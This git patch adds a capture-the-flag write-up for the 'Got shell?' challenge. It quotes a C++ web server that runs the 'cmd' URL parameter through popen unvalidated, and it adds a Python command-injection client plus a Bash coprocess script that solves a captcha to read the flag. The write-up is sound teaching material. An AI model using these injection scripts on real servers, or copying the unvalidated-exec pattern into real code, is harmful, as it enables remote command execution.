From b9b08f0b7d13ffc2a6cea7a55f38b14d010e8473 Mon Sep 17 00:00:00 2001 From: Philipp Nowak Date: Sun, 19 Jan 2020 16:36:37 +0100 Subject: [PATCH] Add werite-up for OTW day-24: Got shell? --- writeups/litplus/otw19.md | 221 ++++++++++++++++++++++++++++- writeups/litplus/otw19/24-proc.sh | 13 ++ writeups/litplus/otw19/24-shell.py | 32 +++++ writeups/litplus/otw19/Adv-24.md | 221 ++++++++++++++++++++++++++++- 4 files changed, 485 insertions(+), 2 deletions(-) create mode 100755 writeups/litplus/otw19/24-proc.sh create mode 100644 writeups/litplus/otw19/24-shell.py diff --git a/writeups/litplus/otw19.md b/writeups/litplus/otw19.md index f26d968..b444b63 100644 --- a/writeups/litplus/otw19.md +++ b/writeups/litplus/otw19.md @@ -460,7 +460,226 @@ Time spent for this challenge: 2.25 hours * December 24: 2.25 hours (13:30-15:45) -Writeup TBD +### Overview + +``` +Got shell? web, linux +Points: 1337 + +Can you get a shell? NOTE: The firewall does not allow outgoing traffic & There are no additional paths on the website. +Service: http://3.93.128.89:1224 +Author: semchapeu +``` + +Accessing the website shows some C++ code: + +``` +#include "crow_all.h" +#include +#include +#include +#include +#include +#include +#include + +std::string exec(const char* cmd) { + std::array buffer; + std::string result; + std::unique_ptr pipe(popen(cmd, "r"), pclose); + if (!pipe) { + return std::string("Error"); + } + while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) { + result += buffer.data(); + } + return result; +} + +int main() { + crow::SimpleApp app; + app.loglevel(crow::LogLevel::Warning); + + CROW_ROUTE(app, "/") + ([](const crow::request& req) { + std::ostringstream os; + if(req.url_params.get("cmd") != nullptr){ + os << exec(req.url_params.get("cmd")); + } else { + os << exec("cat ./source.html"); + } + return crow::response{os.str()}; + }); + + app.port(1224).multithreaded().run(); +} +``` + +From this, we see that the app uses the [CROW](https://github.com/ipkn/crow) framework for web handling, which is inspired by Python's Flask. From the code, we see that, normally, the website prints the source code. However, if the `cmd` query parameter is provided, it runs this command directly without validation. + +### Exploitation +Passing `ls -hla` reveals: + +``` +total 44K +drwxr-xr-x 1 root root 4.0K Dec 24 11:56 . +drwxr-xr-x 1 root root 4.0K Dec 24 11:56 .. +----r----- 1 root gotshell 38 Dec 24 08:32 flag +------s--x 1 root gotshell 18K Dec 5 17:26 flag_reader +-rw-rw-r-- 1 root root 11K Dec 24 08:32 source.html +``` + +So, the `flag_reader` binary can access the flag, but we cannot do that directly. + +To make command execution easier, I developed a small Python script: + +``` +#!/usr/bin/env python3 +import sys +import requests + +while True: + print(" > ", end="", flush=True) + command=input() + print(" ... ", end="\r", flush=True) + payload = { 'cmd': command } + req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=2) + print(req.text) +``` + +Some information: + +``` + > id +uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) + > ./flag_reader +Got shell? +1411293829 + 1732747376 = Incorrect captcha :( + > uname -a +Linux d2474e4d718f 4.15.0-1051-aws #53-Ubuntu SMP Wed Sep 18 13:35:53 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux +``` + +The challenge here is that `flag_reader` generates the captcha dynamically and only prints the flag if the response is correct -- However, we do not have access to STDIN. Python is not present on the host. `@stiefel40k` tried to write a Perl script, while I took a go at a Bash script to achieve the same. + +I started by using [awk](https://www.gnu.org/software/gawk/manual/html_node/Arithmetic-Ops.html) to do the arithmetic operation, thinking that this would be easy. Quickly, I had a payload: + +``` +./flag_reader | tail -n 1 | awk '{ sum = $1 + $3 ; \n print sum }' +``` + +However, this just prints to STDOUT, we need to pass it to a program earlier in the pipe. + +In the meantime, `@stiefel40k` had developed a local simulation of the flag reader: + +``` +#!/bin/bash + +R1=$(echo $RANDOM) +R2=$(echo $RANDOM) + +echo "Got a shell?" +echo -n "$R1 + $R2 = " +read VAL +SUM=$(($R1+$R2)) + +if [[ $SUM -ne $VAL ]] +then + echo "Wrong" + exit 1 +else + echo "Yes" +fi +``` + +To be able to dynamically write to the flag reader depending on its output, I used [a little-known feature of Bash](https://www.gnu.org/software/bash/manual/html_node/Coprocesses.html), coprocesses. These StackOverflow questions helped with this: [1](https://stackoverflow.com/questions/5129276/how-to-redirect-stdout-of-2nd-process-back-to-stdin-of-1st-process), [2](https://stackoverflow.com/questions/7689100/bash-coproc-unexpected-behavior). + +``` +#!/bin/bash +coproc p1 { + ./flag_reader +} + +#awk '{ sum = $1 + $3 ; +# print sum }' <&${p1[0]} >&${p1[1]} +read line <&${p1[0]} + echo " -> $line <-" + +read -d "=" captcha <&${p1[0]} +solution=$(echo $captcha | awk '{ sum = $1 + $3 ; + print sum }') +echo "hey solute $solution" +echo "$solution" >&${p1[1]} + +echo "hi" +tee <&${p1[0]} +``` + +This worked locally, but not on the server. I wasn't sure why, but the server had some difficulties, so I added retry logic to the exploit script. Also, I saved the script to `proc.sh` to make it easier to edit and handle: + +``` +import sys +import requests +import requests.exceptions + +script="" + +while True: + print(" > ", end="", flush=True) + command=input() + worked=False + while not worked: + try: + if command == "EXPL": + with open("proc.sh", "r") as file: + script = "".join(file.readlines()) + command=script + escaped = command.replace("\n", " ").replace('"', '\\"').replace("$", "\\$") + full = 'bash -c "'+escaped+'"'#+' ; echo \\"result -> $?\\""' + payload = { 'cmd': full} + print(full) + print(" ... ", end="\r", flush=True) + req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=20) + print(" ", end="\r", flush=True) + print(req.text) + print("(done)") + worked=True + except requests.exceptions.ReadTimeout: + print("(timed out)") + except requests.exceptions.ConnectionError: + print("(connect error)") +``` + +What this does is wrap the command in `bash -c`, which is necessary because coprocesses are a Bash-specific feature. It also does some escaping on the script, because it needs to be passed quoted to the shell. Doing this in the file directly was not feasible because I needed to run it locally as well. + +Ultimately, the reason why it did not work was that the co-process syntax I used was not supported on the version of Bash the remote used. (Yay Ubuntu! -- Note the semicolon after the block) Also, `awk` by default outputs large numbers in scientific notation, which the flag reader did not accept: + +``` +HELLO + -> Got shell? <- +hey solute 3.43413e+09 +hi + Incorrect captcha :( +``` + +The final Bash script is as follows (`25-proc.sh`): (missing shebang is important because it is combined into a single line) + +``` +echo "HELLO"; +coproc p1 { +./flag_reader; +}; +read line <&${p1[0]}; +echo " -> $line <-"; +read -d "=" captcha <&${p1[0]}; +solution=$(echo $captcha | timeout 1s awk '{ sum = $1 + $3 ; + printf "%.0f", sum }'); +echo "hey solute $solution"; +echo "$solution" >&${p1[1]}; +echo "hi"; +cat <&${p1[0]} +``` + +Combined with the Python script from above (`25-shell.py`), this yielded the flag: `AOTW{d1d_y0u_g3t_4n_1n73r4c71v3_5h3ll}`. --- diff --git a/writeups/litplus/otw19/24-proc.sh b/writeups/litplus/otw19/24-proc.sh new file mode 100755 index 0000000..83ded77 --- /dev/null +++ b/writeups/litplus/otw19/24-proc.sh @@ -0,0 +1,13 @@ +echo "HELLO"; +coproc p1 { +./flag_reader; +}; +read line <&${p1[0]}; +echo " -> $line <-"; +read -d "=" captcha <&${p1[0]}; +solution=$(echo $captcha | timeout 1s awk '{ sum = $1 + $3 ; + printf "%.0f", sum }'); +echo "hey solute $solution"; +echo "$solution" >&${p1[1]}; +echo "hi"; +cat <&${p1[0]} diff --git a/writeups/litplus/otw19/24-shell.py b/writeups/litplus/otw19/24-shell.py new file mode 100644 index 0000000..92cf9ae --- /dev/null +++ b/writeups/litplus/otw19/24-shell.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python3 +import sys +import requests +import requests.exceptions + +script="" + +while True: + print(" > ", end="", flush=True) + command=input() + worked=False + while not worked: + try: + if command == "EXPL": + with open("24-proc.sh", "r") as file: + script = "".join(file.readlines()) + command=script + escaped = command.replace("\n", " ").replace('"', '\\"').replace("$", "\\$") + full = 'bash -c "'+escaped+'" 2>&1'#+' ; echo \\"result -> $?\\""' + payload = { 'cmd': full} + print(full) + print(" ... ", end="\r", flush=True) + req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=20) + print(" ", end="\r", flush=True) + print(req.text) + print("(done)") + worked=True + except requests.exceptions.ReadTimeout: + print("(timed out)") + except requests.exceptions.ConnectionError: + print("(connect error)") + diff --git a/writeups/litplus/otw19/Adv-24.md b/writeups/litplus/otw19/Adv-24.md index 99bc24d..cf28a88 100644 --- a/writeups/litplus/otw19/Adv-24.md +++ b/writeups/litplus/otw19/Adv-24.md @@ -6,7 +6,226 @@ Time spent for this challenge: 2.25 hours * December 24: 2.25 hours (13:30-15:45) -Writeup TBD +### Overview + +``` +Got shell? web, linux +Points: 1337 + +Can you get a shell? NOTE: The firewall does not allow outgoing traffic & There are no additional paths on the website. +Service: http://3.93.128.89:1224 +Author: semchapeu +``` + +Accessing the website shows some C++ code: + +``` +#include "crow_all.h" +#include +#include +#include +#include +#include +#include +#include + +std::string exec(const char* cmd) { + std::array buffer; + std::string result; + std::unique_ptr pipe(popen(cmd, "r"), pclose); + if (!pipe) { + return std::string("Error"); + } + while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) { + result += buffer.data(); + } + return result; +} + +int main() { + crow::SimpleApp app; + app.loglevel(crow::LogLevel::Warning); + + CROW_ROUTE(app, "/") + ([](const crow::request& req) { + std::ostringstream os; + if(req.url_params.get("cmd") != nullptr){ + os << exec(req.url_params.get("cmd")); + } else { + os << exec("cat ./source.html"); + } + return crow::response{os.str()}; + }); + + app.port(1224).multithreaded().run(); +} +``` + +From this, we see that the app uses the [CROW](https://github.com/ipkn/crow) framework for web handling, which is inspired by Python's Flask. From the code, we see that, normally, the website prints the source code. However, if the `cmd` query parameter is provided, it runs this command directly without validation. + +### Exploitation +Passing `ls -hla` reveals: + +``` +total 44K +drwxr-xr-x 1 root root 4.0K Dec 24 11:56 . +drwxr-xr-x 1 root root 4.0K Dec 24 11:56 .. +----r----- 1 root gotshell 38 Dec 24 08:32 flag +------s--x 1 root gotshell 18K Dec 5 17:26 flag_reader +-rw-rw-r-- 1 root root 11K Dec 24 08:32 source.html +``` + +So, the `flag_reader` binary can access the flag, but we cannot do that directly. + +To make command execution easier, I developed a small Python script: + +``` +#!/usr/bin/env python3 +import sys +import requests + +while True: + print(" > ", end="", flush=True) + command=input() + print(" ... ", end="\r", flush=True) + payload = { 'cmd': command } + req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=2) + print(req.text) +``` + +Some information: + +``` + > id +uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) + > ./flag_reader +Got shell? +1411293829 + 1732747376 = Incorrect captcha :( + > uname -a +Linux d2474e4d718f 4.15.0-1051-aws #53-Ubuntu SMP Wed Sep 18 13:35:53 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux +``` + +The challenge here is that `flag_reader` generates the captcha dynamically and only prints the flag if the response is correct -- However, we do not have access to STDIN. Python is not present on the host. `@stiefel40k` tried to write a Perl script, while I took a go at a Bash script to achieve the same. + +I started by using [awk](https://www.gnu.org/software/gawk/manual/html_node/Arithmetic-Ops.html) to do the arithmetic operation, thinking that this would be easy. Quickly, I had a payload: + +``` +./flag_reader | tail -n 1 | awk '{ sum = $1 + $3 ; \n print sum }' +``` + +However, this just prints to STDOUT, we need to pass it to a program earlier in the pipe. + +In the meantime, `@stiefel40k` had developed a local simulation of the flag reader: + +``` +#!/bin/bash + +R1=$(echo $RANDOM) +R2=$(echo $RANDOM) + +echo "Got a shell?" +echo -n "$R1 + $R2 = " +read VAL +SUM=$(($R1+$R2)) + +if [[ $SUM -ne $VAL ]] +then + echo "Wrong" + exit 1 +else + echo "Yes" +fi +``` + +To be able to dynamically write to the flag reader depending on its output, I used [a little-known feature of Bash](https://www.gnu.org/software/bash/manual/html_node/Coprocesses.html), coprocesses. These StackOverflow questions helped with this: [1](https://stackoverflow.com/questions/5129276/how-to-redirect-stdout-of-2nd-process-back-to-stdin-of-1st-process), [2](https://stackoverflow.com/questions/7689100/bash-coproc-unexpected-behavior). + +``` +#!/bin/bash +coproc p1 { + ./flag_reader +} + +#awk '{ sum = $1 + $3 ; +# print sum }' <&${p1[0]} >&${p1[1]} +read line <&${p1[0]} + echo " -> $line <-" + +read -d "=" captcha <&${p1[0]} +solution=$(echo $captcha | awk '{ sum = $1 + $3 ; + print sum }') +echo "hey solute $solution" +echo "$solution" >&${p1[1]} + +echo "hi" +tee <&${p1[0]} +``` + +This worked locally, but not on the server. I wasn't sure why, but the server had some difficulties, so I added retry logic to the exploit script. Also, I saved the script to `proc.sh` to make it easier to edit and handle: + +``` +import sys +import requests +import requests.exceptions + +script="" + +while True: + print(" > ", end="", flush=True) + command=input() + worked=False + while not worked: + try: + if command == "EXPL": + with open("proc.sh", "r") as file: + script = "".join(file.readlines()) + command=script + escaped = command.replace("\n", " ").replace('"', '\\"').replace("$", "\\$") + full = 'bash -c "'+escaped+'"'#+' ; echo \\"result -> $?\\""' + payload = { 'cmd': full} + print(full) + print(" ... ", end="\r", flush=True) + req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=20) + print(" ", end="\r", flush=True) + print(req.text) + print("(done)") + worked=True + except requests.exceptions.ReadTimeout: + print("(timed out)") + except requests.exceptions.ConnectionError: + print("(connect error)") +``` + +What this does is wrap the command in `bash -c`, which is necessary because coprocesses are a Bash-specific feature. It also does some escaping on the script, because it needs to be passed quoted to the shell. Doing this in the file directly was not feasible because I needed to run it locally as well. + +Ultimately, the reason why it did not work was that the co-process syntax I used was not supported on the version of Bash the remote used. (Yay Ubuntu! -- Note the semicolon after the block) Also, `awk` by default outputs large numbers in scientific notation, which the flag reader did not accept: + +``` +HELLO + -> Got shell? <- +hey solute 3.43413e+09 +hi + Incorrect captcha :( +``` + +The final Bash script is as follows (`25-proc.sh`): (missing shebang is important because it is combined into a single line) + +``` +echo "HELLO"; +coproc p1 { +./flag_reader; +}; +read line <&${p1[0]}; +echo " -> $line <-"; +read -d "=" captcha <&${p1[0]}; +solution=$(echo $captcha | timeout 1s awk '{ sum = $1 + $3 ; + printf "%.0f", sum }'); +echo "hey solute $solution"; +echo "$solution" >&${p1[1]}; +echo "hi"; +cat <&${p1[0]} +``` + +Combined with the Python script from above (`25-shell.py`), this yielded the flag: `AOTW{d1d_y0u_g3t_4n_1n73r4c71v3_5h3ll}`. --- -- 2.43.0